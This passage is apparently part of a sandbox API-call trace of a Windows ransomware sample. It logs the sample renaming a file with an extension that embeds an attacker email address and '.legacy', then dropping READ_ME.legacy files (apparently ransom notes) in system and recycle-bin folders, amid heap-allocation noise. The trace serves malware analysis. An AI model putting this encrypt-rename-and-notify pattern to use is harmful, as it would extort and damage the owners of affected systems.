pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0067.166] WriteFile (in: hFile=0x448, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0067.167] WriteFile (in: hFile=0x448, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0067.168] CloseHandle (hObject=0x448) returned 1 [0067.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0067.180] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0067.180] MoveFileExW (lpExistingFileName="\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), lpNewFileName="\\$WINRE_BACKUP_PARTITION.MARKER.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$winre_backup_partition.marker.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0067.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0067.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0067.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x533cc0 | out: hHeap=0x520000) returned 1 [0067.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0067.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c48 [0067.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0067.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0067.192] FindFirstFileW (in: lpFileName="\\$GetCurrent\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xb837ce31, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5532a0 [0067.192] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0067.192] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0067.192] GetLastError () returned 0x0 [0067.192] SetLastError (dwErrCode=0x0) [0067.192] GetLastError () returned 0x0 [0067.192] SetLastError (dwErrCode=0x0) [0067.192] GetLastError () returned 0x0 [0067.193] SetLastError (dwErrCode=0x0) [0067.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574cf8 [0067.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0067.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0067.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0067.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552e20 [0067.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552e20 | out: hHeap=0x520000) returned 1 [0067.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5468d0 [0067.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5468d0 | out: hHeap=0x520000) returned 1 [0067.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0067.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574cf8 | out: hHeap=0x520000) returned 1 [0067.193] FindNextFileW (in: hFindFile=0x5532a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xb837ce31, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0067.193] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0067.193] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0067.193] GetLastError () returned 0x0 [0067.193] SetLastError (dwErrCode=0x0) [0067.194] GetLastError () returned 0x0 [0067.194] SetLastError (dwErrCode=0x0) [0067.194] GetLastError () returned 0x0 [0067.194] SetLastError (dwErrCode=0x0) [0067.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574cf8 [0067.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0067.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0067.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b30 [0067.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552c60 [0067.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552c60 | out: hHeap=0x520000) returned 1 [0067.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5468d0 [0067.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5468d0 | out: hHeap=0x520000) returned 1 [0067.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b30 | out: hHeap=0x520000) returned 1 [0067.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574cf8 | out: hHeap=0x520000) returned 1 [0067.194] FindNextFileW (in: hFindFile=0x5532a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Logs", cAlternateFileName="")) returned 1 [0067.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0067.194] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0067.194] GetLastError () returned 0x0 [0067.195] SetLastError (dwErrCode=0x0) [0067.195] GetLastError () returned 0x0 [0067.195] SetLastError (dwErrCode=0x0) [0067.195] GetLastError () returned 0x0 [0067.195] SetLastError (dwErrCode=0x0) [0067.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574cf8 [0067.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d88 [0067.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0067.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0067.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0067.195] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0067.195] GetLastError () returned 0x0 [0067.195] SetLastError (dwErrCode=0x0) [0067.195] GetLastError () returned 0x0 [0067.195] SetLastError (dwErrCode=0x0) [0067.195] GetLastError () returned 0x0 [0067.196] SetLastError (dwErrCode=0x0) [0067.196] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0067.196] CreateFileW (lpFileName="\\$GetCurrent\\Logs\\READ_ME.legacy" (normalized: "c:\\$getcurrent\\logs\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c [0067.198] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0067.198] WriteFile (in: hFile=0x44c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.199] CloseHandle (hObject=0x44c) returned 1 [0067.200] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0067.200] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0067.200] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0067.200] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0067.200] FindNextFileW (in: hFindFile=0x5532a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb837ce31, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb837ce31, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb837ce31, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0067.200] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0067.200] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0067.200] GetLastError () returned 0x0 [0067.200] SetLastError (dwErrCode=0x0) [0067.200] GetLastError () returned 0x0 [0067.200] SetLastError (dwErrCode=0x0) [0067.200] GetLastError () returned 0x0 [0067.200] SetLastError (dwErrCode=0x0) [0067.201] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0067.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0067.201] FindNextFileW (in: hFindFile=0x5532a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0067.201] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0067.201] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0067.201] GetLastError () returned 0x0 [0067.201] SetLastError (dwErrCode=0x0) [0067.201] GetLastError () returned 0x0 [0067.201] SetLastError (dwErrCode=0x0) [0067.201] GetLastError () returned 0x0 [0067.201] SetLastError (dwErrCode=0x0) [0067.201] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0067.201] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571cc0 [0067.201] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55a4b0 [0067.201] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0067.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0067.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0067.202] GetLastError () returned 0x0 [0067.202] SetLastError (dwErrCode=0x0) [0067.202] GetLastError () returned 0x0 [0067.202] SetLastError (dwErrCode=0x0) [0067.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0067.202] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0067.202] GetLastError () returned 0x0 [0067.202] SetLastError (dwErrCode=0x0) [0067.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0067.202] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\READ_ME.legacy" (normalized: "c:\\$getcurrent\\safeos\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c [0067.212] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0067.212] WriteFile (in: hFile=0x44c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.213] CloseHandle (hObject=0x44c) returned 1 [0067.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0067.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0067.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0067.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a4b0 | out: hHeap=0x520000) returned 1 [0067.213] FindNextFileW (in: hFindFile=0x5532a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0067.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c20 [0067.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c48 | out: hHeap=0x520000) returned 1 [0067.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0067.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bf8 | out: hHeap=0x520000) returned 1 [0067.213] FindFirstFileW (in: lpFileName="\\$Recycle.Bin\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb83a2b2c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552da0 [0067.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0067.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0067.214] GetLastError () returned 0x12 [0067.214] SetLastError (dwErrCode=0x12) [0067.214] GetLastError () returned 0x12 [0067.214] SetLastError (dwErrCode=0x12) [0067.214] GetLastError () returned 0x12 [0067.214] SetLastError (dwErrCode=0x12) [0067.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55a4b0 [0067.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0067.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0067.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c48 [0067.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552b60 [0067.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552b60 | out: hHeap=0x520000) returned 1 [0067.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5468d0 [0067.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5468d0 | out: hHeap=0x520000) returned 1 [0067.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c48 | out: hHeap=0x520000) returned 1 [0067.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a4b0 | out: hHeap=0x520000) returned 1 [0067.214] FindNextFileW (in: hFindFile=0x552da0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb83a2b2c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0067.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0067.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0067.214] GetLastError () returned 0x12 [0067.214] SetLastError (dwErrCode=0x12) [0067.214] GetLastError () returned 0x12 [0067.214] SetLastError (dwErrCode=0x12) [0067.214] GetLastError () returned 0x12 [0067.214] SetLastError (dwErrCode=0x12) [0067.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55a4b0 [0067.214] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0067.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0067.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0067.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553020 [0067.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553020 | out: hHeap=0x520000) returned 1 [0067.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5466d8 [0067.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5466d8 | out: hHeap=0x520000) returned 1 [0067.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0067.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a4b0 | out: hHeap=0x520000) returned 1 [0067.215] FindNextFileW (in: hFindFile=0x552da0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83a2b2c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb83a2b2c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb83a2b2c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0067.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0067.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0067.215] GetLastError () returned 0x12 [0067.215] SetLastError (dwErrCode=0x12) [0067.215] GetLastError () returned 0x12 [0067.215] SetLastError (dwErrCode=0x12) [0067.215] GetLastError () returned 0x12 [0067.215] SetLastError (dwErrCode=0x12) [0067.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c70 [0067.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0067.215] FindNextFileW (in: hFindFile=0x552da0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0067.215] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0067.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0067.215] GetLastError () returned 0x12 [0067.215] SetLastError (dwErrCode=0x12) [0067.215] GetLastError () returned 0x12 [0067.215] SetLastError (dwErrCode=0x12) [0067.215] GetLastError () returned 0x12 [0067.215] SetLastError (dwErrCode=0x12) [0067.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bd0 [0067.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c48 [0067.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571bd0 | out: hHeap=0x520000) returned 1 [0067.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c48 | out: hHeap=0x520000) returned 1 [0067.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55a4b0 [0067.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571bd0 [0067.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x55a638 [0067.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d150 [0067.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d130 [0067.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0067.216] GetLastError () returned 0x12 [0067.216] SetLastError (dwErrCode=0x12) [0067.216] GetLastError () returned 0x12 [0067.216] SetLastError (dwErrCode=0x12) [0067.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0067.216] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0067.216] GetLastError () returned 0x12 [0067.216] SetLastError (dwErrCode=0x12) [0067.216] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0067.216] CreateFileW (lpFileName="\\$Recycle.Bin\\S-1-5-18\\READ_ME.legacy" (normalized: "c:\\$recycle.bin\\s-1-5-18\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x450 [0067.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0067.234] WriteFile (in: hFile=0x450, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0067.236] CloseHandle (hObject=0x450) returned 1 [0067.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0067.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d130 | out: hHeap=0x520000) returned 1 [0067.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d150 | out: hHeap=0x520000) returned 1 [0067.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a638 | out: hHeap=0x520000) returned 1 [0067.236] FindNextFileW (in: hFindFile=0x552da0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0067.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0067.236] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0067.236] GetLastError () returned 0x0 [0067.236] SetLastError (dwErrCode=0x0) [0067.236] GetLastError () returned 0x0 [0067.236] SetLastError (dwErrCode=0x0) [0067.236] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0067.236] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0067.237] GetLastError () returned 0x0 [0067.237] SetLastError (dwErrCode=0x0) [0067.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0067.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0067.237] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0067.237] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0067.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0067.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b30 [0067.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0067.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0067.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0067.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0067.237] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0067.237] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0067.237] GetLastError () returned 0x0 [0067.237] SetLastError (dwErrCode=0x0) [0067.237] GetLastError () returned 0x0 [0067.238] SetLastError (dwErrCode=0x0) [0067.238] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x553500 [0067.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0067.238] GetLastError () returned 0x0 [0067.238] SetLastError (dwErrCode=0x0) [0067.238] 